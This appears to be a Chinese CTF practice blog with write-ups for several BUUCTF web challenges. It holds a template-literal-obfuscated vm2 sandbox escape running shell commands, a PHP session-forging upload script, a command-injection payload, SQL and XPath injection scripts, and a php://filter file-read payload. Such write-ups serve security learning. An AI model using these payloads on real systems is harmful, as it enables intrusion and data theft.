buu练习10

前言

继续刷,准备蓝帽,好久没做题了都。

[HFCTF2020]JustEscape

进入题目,发现首页提示run.php并且给了一些实例,我们访问这个php文件得到一个代码:

1
2
3
4
5
6
7
8
<?php
if( array_key_exists( "code", $_GET ) && $_GET[ 'code' ] != NULL ) {
$code = $_GET['code'];
echo eval(code);
} else {
highlight_file(__FILE__);
}
?>

看起来是一个命令执行,还没过滤的,但是这肯定没那么简单,随便传点东西上去试试,比如code=phpinfo();,查看返回:

1
ReferenceError: phpinfo is not defined

什么鬼没有定义,结合首页提示我们这真的是php吗,我们可以想到除了php以外,js中也是有eval()这个函数的,那么我们来测试一波:

1
?code=Error().stack

看到返回结果,果不其然:

1
Error at vm.js:1:1 at Script.runInContext (vm.js:131:20) at VM.run (/app/node_modules/vm2/lib/main.js:219:62) at /app/server.js:51:33 at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5) at next (/app/node_modules/express/lib/router/route.js:137:13) at Route.dispatch (/app/node_modules/express/lib/router/route.js:112:3) at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5) at /app/node_modules/express/lib/router/index.js:281:22 at Function.process_params (/app/node_modules/express/lib/router/index.js:335:12)

那结合题目很明显这题是一个vm2逃逸,直接套poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
TypeError[`${`${`prototyp`}e`}`].get_process = f=>f.constructor("return process")();
try{
Object.preventExtensions(Buffer.from("")).a = 1;
}catch(e){
return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
}+')()';
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}

测试后发现存在过滤用javascript的模版文字绕过。最后poc:

1
2
3
4
5
6
7
8
(function (){
TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)();
try{
Object.preventExtensions(Buffer.from(``)).a = 1;
}catch(e){
return e[`${`${`get_proces`}s`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat /flag`).toString();
}
})()

得到flag。

[HFCTF2020]BabyUpload

进来就是代码审计:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
 <?php
error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
highlight_file(__FILE__);
if($_SESSION['username'] ==='admin')
{
$filename='/var/babyctf/success.txt';
if(file_exists($filename)){
safe_delete($filename);
die($flag);
}
}
else{
$_SESSION['username'] ='guest';
}
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
$dir_path .= "/".$_SESSION['username'];
}
if($direction === "upload"){
try{
if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
throw new RuntimeException('invalid upload');
}
$file_path = $dir_path."/".$_FILES['up_file']['name'];
$file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
@mkdir($dir_path, 0700, TRUE);
if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
$upload_result = "uploaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$upload_result = $e->getMessage();
}
} elseif ($direction === "download") {
try{
$filename = basename(filter_input(INPUT_POST, 'filename'));
$file_path = $dir_path."/".$filename;
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
if(!file_exists($file_path)) {
throw new RuntimeException('file not exist');
}
header('Content-Type: application/force-download');
header('Content-Length: '.filesize($file_path));
header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
if(readfile($file_path)){
$download_result = "downloaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$download_result = $e->getMessage();
}
exit;
}
?>

好长一段,这么长当然得一段段来看。首先是第一段:

1
2
3
4
5
6
7
8
9
10
11
if($_SESSION['username'] ==='admin')
{
$filename='/var/babyctf/success.txt';
if(file_exists($filename)){
safe_delete($filename);
die($flag);
}
}
else{
$_SESSION['username'] ='guest';
}

这段比较简单,也是我们能获取flag的核心,只要满足两个条件就可以了:

  1. session中的username的值要为admin
  2. 存在文件/var/babyctf/success.txt
    但是默认将我们的session中username的值设置为guest。

第二段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
if($direction === "upload"){
try{
if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
throw new RuntimeException('invalid upload');
}
$file_path = $dir_path."/".$_FILES['up_file']['name'];
$file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
@mkdir($dir_path, 0700, TRUE);
if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
$upload_result = "uploaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$upload_result = $e->getMessage();
}
}

文件上传,过滤了目录穿越,文件名也进行了哈希,不过都没啥用,唯一的作用可以说就是在/var/babyctf/下任意上传文件了,那么我们肯定要通过这个部分上传success.txt。

第三段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
elseif ($direction === "download") {
try{
$filename = basename(filter_input(INPUT_POST, 'filename'));
$file_path = $dir_path."/".$filename;
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
if(!file_exists($file_path)) {
throw new RuntimeException('file not exist');
}
header('Content-Type: application/force-download');
header('Content-Length: '.filesize($file_path));
header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
if(readfile($file_path)){
$download_result = "downloaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$download_result = $e->getMessage();
}

任意文件下载,同样过滤了目录穿越,可以从/vat/babyctf/中进行任意文件读取。

php的session默认存储文件名是sess_+PHPSESSID的值,我们先读取cookie中的session并尝试读取:

1
direction=download&attr=&filename=sess_73e1e2caaba56997530a478afabf59d0

看到返回:

1
usernames:5:"guest";

发现有一个不可打印字符,那么就可以判断储存模式是php_binary了。因为这个模式的储存方式是键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值,那么我们就可以根据这个规律伪造session了:

1
2
3
usernames:5:"admin";

sha256:432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4

那么我们只要上传伪造的session文件和success.txt就可以了,直接用exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import hashlib
from io import BytesIO
import requests

url = 'http://5a0cdaad-fb6e-49f9-99ae-94f44a342d8b.node4.buuoj.cn:81/'
# 第一步:上传伪造的session文件
files = {"up_file": ("sess", BytesIO('\x08usernames:5:"admin";'.encode('utf-8')))}
data = {
'direction':'upload',
'attr':''
}
res = requests.post(url, data=data ,files=files)

# 第二步:获取后面请求时的session_id
session_id = hashlib.sha256('\x08usernames:5:"admin";'.encode('utf-8')).hexdigest()

# 第三步:在/var/babyctf/下创建success.txt目录
data1 = {
'attr': 'success.txt',
'direction': 'upload'
}
res1 = requests.post(url=url, data=data1, files=files)

# 第四步:通过上面获取的session_id发起请求,获取flag
cookie = {
'PHPSESSID':session_id
}
flag_res = requests.post(url,cookies = cookie)
print(flag_res.text)

执行获取flag。

EasyBypass

同样开门见源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

highlight_file(__FILE__);

$comm1 = $_GET['comm1'];
$comm2 = $_GET['comm2'];


if(preg_match("/\'|\`|\\|\*|\n|\t|\xA0|\r|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $comm1))
$comm1 = "";
if(preg_match("/\'|\"|;|,|\`|\*|\\|\n|\t|\r|\xA0|\{|\}|\(|\)|<|\&[^\d]|@|\||ls|\||tail|more|cat|string|bin|less||tac|sh|flag|find|grep|echo|w/is", $comm2))
$comm2 = "";

$flag = "#flag in /flag";

$comm1 = '"' . $comm1 . '"';
$comm2 = '"' . $comm2 . '"';

$cmd = "file $comm1 $comm2";
system($cmd);
?>

真是一题简单的bypass呢(恼怒),这过滤的也太狠了吧。因为file命令打不开文件,只能判别文件的类型,因此我们在comm1中要利用引号和分号来进行命令的控制。

对比了一下过滤程度,comm1比较少一点,而且分号还在,那就从comm1开刀。

构建payload,先将引号闭合,接着用分号结束file语句,然后跟上flag读取命令,最后闭合后引号保障不会报错:

1
?comm1=";tac /fla?;"&comm2=1

GET传入数据获取flag。

[RoarCTF 2019]Simple Upload

审代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
 <?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
public function index()
{
show_source(__FILE__);
}
public function upload()
{
$uploadFile = $_FILES['file'] ;

if (strstr(strtolower($uploadFile['name']), ".php") ) {
return false;
}

$upload = new \Think\Upload();// 实例化上传类
$upload->maxSize = 4096 ;// 设置附件上传大小
$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
$upload->rootPath = './Public/Uploads/';// 设置附件上传目录
$upload->savePath = '';// 设置附件上传子目录
$info = $upload->upload() ;
if(!$info) {// 上传错误提示错误信息
$this->error($upload->getError());
return;
}else{// 上传成功 获取上传文件信息
$url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
echo json_encode(array("url"=>$url,"success"=>1));
}
}
}

[RootersCTF2019]babyWeb

进入了网页告诉我们ban掉了一批sql用的关键词,看来是sql注入了,但这题挺离谱的,万能密码注进去就返回flag了,有点没看懂。

payload:

1
1 || 1=1 limit 0,1

[NPUCTF2020]ezlogin

进网页上来一个登录框,fuzz一下发现不是sql,抓包发现是一个xml,那么先怀疑xxe,但是没有明显的注入点,而且进行登录的话xxe明显不适用,那么就怀疑xpath注入了。

关于xpath可以参考下面这篇文章:
xpath注入详解

那么就是一层一层扒到存有账号与密码的节点,并且读取出数据进行登录应该就可以了,直接网上找exp了,不是很想自己写:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import requests
import re
import time

session = requests.session()
url = "http://e6bcddf2-8f0b-411a-ba79-90a1b4820660.node3.buuoj.cn"
chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
head = {
#'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36',
'Content-Type': 'application/xml',
#"Cookie":"UM_distinctid=1785326510411f-0b3fb285b5c49c-4c3f227c-144000-178532651052c9; session=b953d436-f0da-4e58-be79-22676707c609.K5TbTAnwLyhIU66duiTX1Usn1D8; PHPSESSID=dd258b30ebc3b42c352a92ed98092b1c"
}

find = re.compile(r'<input type="hidden" id="token" value="(.*?)" />',re.S)
result = ""
#猜测根节点名称
payload_1 = "<username>'or substring(name(/*[1]), {}, 1)='{}' or ''='</username><password>1</password><token>{}</token>"
#猜测子节点名称
payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}' or ''='</username><password>1</password><token>{}</token>"
#猜测accounts的节点
payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}' or ''='</username><password>1</password><token>{}</token>"
#猜测user节点
payload_4 ="<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}' or ''='</username><password>1</password><token>{}</token>"
#跑用户名和密码
payload_username ="<username>'or substring(/root/accounts/user[2]/username/text(), {}, 1)='{}' or ''='</username><password>1</password><token>{}</token>"
payload_password ="<username>'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}' or ''='</username><password>1</password><token>{}</token>"

def get_token(): #获取token的函数
resp = session.get(url=url) #如果在这里用headers会得到超时的界面
token = find.findall(resp.text)[0]
#print(token)
return token

for x in range(1,100):
for char in chars:
time.sleep(0.3)
token = get_token()
playload = payload_1.format(x, char, token) #根据上面的playload来改
#print(playload)
resp = session.post(url=url,headers=head, data=playload)
#print(resp.text)
if "非法操作" in resp.text:
result += char
print(result)
break
if "用户名或密码错误" in resp.text:
break

print(result)

得到账号密码:

1
username=adm1n,password=cf7414b5bdb2e65ee43083f4ddbc4d9f

将密码进行somd5解码得到密码为gtfly123,登陆进去后页面什么都无,查看源码发现base64,解码后告诉我们flag在/flag中。url存在file参数,说明可能存在文件读取,直接读取flag失败,伪代码读取成功,payload:

1
Php://filter/convert.Base64-encode/resource=/flag